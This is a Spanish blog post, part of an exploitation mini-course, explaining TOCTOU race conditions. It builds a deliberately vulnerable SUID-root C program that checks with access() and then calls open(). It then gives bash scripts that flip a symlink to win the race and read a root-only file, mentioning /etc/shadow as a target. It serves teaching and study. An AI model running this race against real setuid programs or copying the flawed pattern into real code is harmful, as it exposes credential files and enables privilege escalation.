domingo, 26 de agosto de 2012

Minicurso de exploiting (parte 6): Race conditions

En la entrada anterior vimos lo más simple de lo más simple, cuando el programador mete a fuego (hardcodea) información que no debería estar dentro del binario ya que, conociendo un poco las tripas de los mismos podemos encontrar dicha información, incluso aunque esté ofuscada (aunque no nos paramos a ver técnicas de ofuscación, que las hay y que pueden dar ganas de vomitar).

Cambiamos ahora de vulnerabilidad (si es que al hardcoding se le puede llamar así) y vamos a ver que son las vulnerabilidades de race conditions. Mucha documentación en español (bleg!) suele traducirlo como "condiciones de carrera" y me parece horrible, así que las llamaré race conditions.

Lo primero lo de siempre, ¿qué es una vulnerabilidad race condition?. Una vulnerabilidad de este tipo se da cuando una serie de eventos ocurren en un orden que no habíamos esperado y dando por tanto lugar a un comportamiento inesperado.

Dicho así queda un poco esotérico pero con un ejemplo lo veremos rápidamente. En un sistema multiproceso, tenemos un proceso que va a acceder a un fichero, pero antes comprueba que tiene permiso. Algo como esto.

if (tengo_permiso(fichero))
    abrir_y_hacer_locuras(fichero)
else
    print "¡Truhán!"

Aquí existe una vulnerabilidad de race condition ya que, si después de ejecutar tengo_permiso() y antes de ejecutar abrir_y_hacer_locuras() (algo perfectamente posible en un sistema multiproceso), ese fichero cambia de permisos/estado pueden pasar cosas no previstas.

Pero como la idea del blog es hacerlo todo práctico (o al menos todo lo que pueda), vamos a ver este mismo ejemplo en la realidad real realista. Todo este escenario lo he sacado de una prueba de cierto wargame que hice hace ya tiempo, puedes cogerlo todo y probarlo en una máquina tuya para confirmar su funcionamiento.

Este es el programa con race condition.

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void printFile(const char *path) {
    int fd;
    char byte;

    if ((fd = open(path, O_RDONLY)) != -1) {
        while (read(fd, &byte, sizeof(char)) != 0)
            printf("%c", byte);
    }

    close(fd);
}

int main(int argc, char *argv[]) {
    if (argc != 2)
        printf("Usage: %s <filename>\n", argv[0]), exit(-1);

    if (access(argv[1], R_OK) == 0)
        printFile(argv[1]);
    else
        printf("Cannot access the file.\n"), exit(-1);

    return 0;
}

Lo he hecho sobre la marcha, no es perfecto pero nos sirve para lo que queremos, al programa se le pasa un nombre de fichero e imprime su contenido. En negrita tenemos las dos llamadas a funciones que propician la race condition (vemos que es casi calcado a lo que puse anteriormente).

Una vez compilado este programa vamos a hacer un par de cosas antes de ejecutarlo, vamos a cambiarle los permisos para activarle el SUID (cosa no recomendada para ningún programa, salvo que se sepa bien que se está haciendo... y aún así no se recomienda). Además vamos a dárselo a root (OMFG! todas las malas prácticas juntas!).

$ sudo chown root race
$ sudo chmod 4511 race
$ ls -l
...
-r-s--x--x 1 root grupo 7376 2012-08-24 18:14 race
...

Ahora este programa lo puede ejecutar cualquier usuario y se ejecuta con permisos de root, pero en principio no permite leer cualquier archivo al que sólo root tenga acceso (a pesar del SUID), sino sólo a los que el usuario que lo ejecuta tenga acceso. Por ejemplo, si intentamos imprimir /etc/shadow ocurre lo siguiente.

$ ./race /etc/shadow
Cannot access the file.

Esto es debido al comportamiento de la función access(). Bueno, pues la race condition está ahí, ¿cómo nos aprovechamos de ella?, ¿qué pasaría si al ejecutar access() se le está pasando cierto fichero al que el usuario que ejecuta sí puede acceder y cuando se ejecute open() es otro al que no puede acceder (o mejor dicho, que access() no le dejaría acceder)?, ¿se puede lograr esto?. La respuesta es sí, vamos a verlo.

Lo primero que voy a hacer es cambiar nuestro ejemplo de shadow por otro fichero ad-hoc.

$ echo "Secreto secretoso." > fichero_root
$ sudo chown root:root fichero_root
$ sudo chmod 700 fichero_root 
$ echo "foo" > fichero_usuario
$ ./race fichero_usuario
foo
$ ./race fichero_root
Cannot access the file.

He creado dos ficheros, por un lado fichero_root el cual es de root y sólo root lo puede leer, por otro lado fichero_usuario que es de un usuario regular del sistema. Lo he hecho para que se viera como a este último fichero sí se puede acceder y al de root no.

En este caso, para aprovecharnos de la race condition vamos a jugar con enlaces simbólicos. Lo que vamos a hacer es crear un pequeño script que creará un enlace simbólico a un fichero que sí podemos acceder y luego lo cambia al que no podemos leer, y así continuamente.

#!/bin/bash

for ((;;)); do 
    ln -sf fichero_usuario link
    ln -sf fichero_root link
    rm -f link

done

Ahora por otro lado lo que vamos a hacer es ejecutar el programa para imprimir el contenido de link repetidamente.

#!/bin/bash

for ((;;)); do
    ./race link
done

Cuando ejecutemos estos dos scripts el primero empezará a hacer que "link" vaya cambiando de fichero al que apunta, por otro lado el segundo script intentará imprimir el contenido de "link". Este último unas veces imprimirá "foo", cuando "link" apunte a fichero_usuario y otras veces imprimirá "Cannot access file" cuando apunte a fichero_root, pero habrá alguna vez, pocas, en que el orden de eventos será el siguiente:
  1. El primer script hace que link apunte a fichero_usuario.
  2. El sistema hará un cambio de contexto y pasará a ejecutarse el segundo script que a su vez ejecutará el programa con la vulnerabilidad. Este programa ejecutará la función access() y comprobará que efectivamente el programa puede acceder a fichero_usuario.
  3. El sistema hará otro cambio de contexto (inmediatamente antes de que se ejecute open() en el programa vulnerable), volverá el primer script a ejecutarse y hará que link apunte a fichero_root.
  4. El sistema volverá a hacer otro cambio de contexto (antes de que se elimine el link y antes de que vuelva a apuntar a fichero_usuario). Volverá a ejecutarse el programa vulnerable, continuando donde se había quedado, justo antes de abrir el fichero y después de haber ejecutado access(). Abrirá el fichero (que puede puesto que el programa se ejecuta con SUID), leerá su contenido y lo imprimirá.
Esto ocurrirá debido a que el sistema en algún momento ejecutará un cambio de contexto entre las siguientes instrucciones del programa vulnerable:

$ sudo objdump -d race | egrep -A 37 "<main>"
08048572 <main>:
 8048572:    55                       push   %ebp
 8048573:    89 e5                    mov    %esp,%ebp
 8048575:    83 e4 f0                 and    $0xfffffff0,%esp
 8048578:    83 ec 10                 sub    $0x10,%esp
 804857b:    83 7d 08 02              cmpl   $0x2,0x8(%ebp)
 804857f:    74 22                    je     80485a3 <main+0x31>
 8048581:    8b 45 0c                 mov    0xc(%ebp),%eax
 8048584:    8b 10                    mov    (%eax),%edx
 8048586:    b8 b0 86 04 08           mov    $0x80486b0,%eax
 804858b:    89 54 24 04              mov    %edx,0x4(%esp)
 804858f:    89 04 24                 mov    %eax,(%esp)
 8048592:    e8 7d fe ff ff           call   8048414 <printf@plt>
 8048597:    c7 04 24 ff ff ff ff     movl   $0xffffffff,(%esp)
 804859e:    e8 a1 fe ff ff           call   8048444 <exit@plt>
 80485a3:    8b 45 0c                 mov    0xc(%ebp),%eax
 80485a6:    83 c0 04                 add    $0x4,%eax
 80485a9:    8b 00                    mov    (%eax),%eax
 80485ab:    c7 44 24 04 04 00 00     movl   $0x4,0x4(%esp)
 80485b2:    00
 80485b3:    89 04 24                 mov    %eax,(%esp)
 80485b6:    e8 49 fe ff ff           call   8048404 <access@plt>
 80485bb:    85 c0                    test   %eax,%eax
 80485bd:    75 17                    jne    80485d6 <main+0x64>
 80485bf:    8b 45 0c                 mov    0xc(%ebp),%eax
 80485c2:    83 c0 04                 add    $0x4,%eax
 80485c5:    8b 00                    mov    (%eax),%eax
 80485c7:    89 04 24                 mov    %eax,(%esp)

 80485ca:    e8 45 ff ff ff           call   8048514 <printFile>
 80485cf:    b8 00 00 00 00           mov    $0x0,%eax
 80485d4:    c9                       leave
 80485d5:    c3                       ret  
 80485d6:    c7 04 24 c6 86 04 08     movl   $0x80486c6,(%esp)
 80485dd:    e8 52 fe ff ff           call   8048434 <puts@plt>
 80485e2:    c7 04 24 ff ff ff ff     movl   $0xffffffff,(%esp)
 80485e9:    e8 56 fe ff ff           call   8048444 <exit@plt>
 80485ee:    90                       nop
 80485ef:    90                       nop

Vemos que entre la llamada a access() y la llamada a printFile() (que contiene la llamada a open()) existen varias instrucciones (y aún hay más contando con el comienzo de printFile()). Aunque poco probable, si el sistema ejecuta un cambio de contexto en ese corto período de tiempo y se da la ejecución de eventos que pusimos antes, accederemos a la información que no debíamos. Dado que la probabilidad de que el cambio de contexto se de justo ahí, lo que hacemos es hacer muchas veces el experimento (ejecutar ambos programas) y en algún momento se dará el orden, ¿y es un tiempo razonable?. Veamos:

$ ./crea_enlaces.sh &
[1] 3129
$ time ./muestra_contenido.sh > results.txt
^C

real    0m5.225s
user    0m0.244s
sys    0m0.880s
$ egrep "Secreto" results.txt
Secreto secretoso.
Secreto secretoso.
$ wc -l results.txt
9013 results.txt

Pues aquí tenemos la respuesta. Estuve 5 segundos más o menos dejando correr los scripts y, efectivamente, se llegó a acceder a la información que no se debía ("Secreto secretoso.") hasta 2 veces. La cantidad de veces que se ejecuto el programa vulnerable fue 9013 veces (ya que en cada ejecución imprime una línea). Vemos que la probabilidad del cambio de contexto ahí en medio es bastante baja, apenas 2/9013... pero los ordenadores de hoy en día son muy rápidos :), sólo tenemos que repetir mucho el experimento... tampoco tardamos tanto :P.

Bueno, pues hasta aquí la teoría sobre race conditions, no son la vulnerabilidad más divertida y pueden ser relativamente difíciles de encontrar pero creía que debía hablar de ellas y explicarlas.

Saludos.

2 comentarios:

  1. Muchas gracias Ole!

    La verdad es que no tenia el concepto de race conditions muy claro pero ahora ya puedo dormir tranquilo ;)

    ResponderEliminar
  2. Me alegro que el curso haya servido para alguien :)

    ResponderEliminar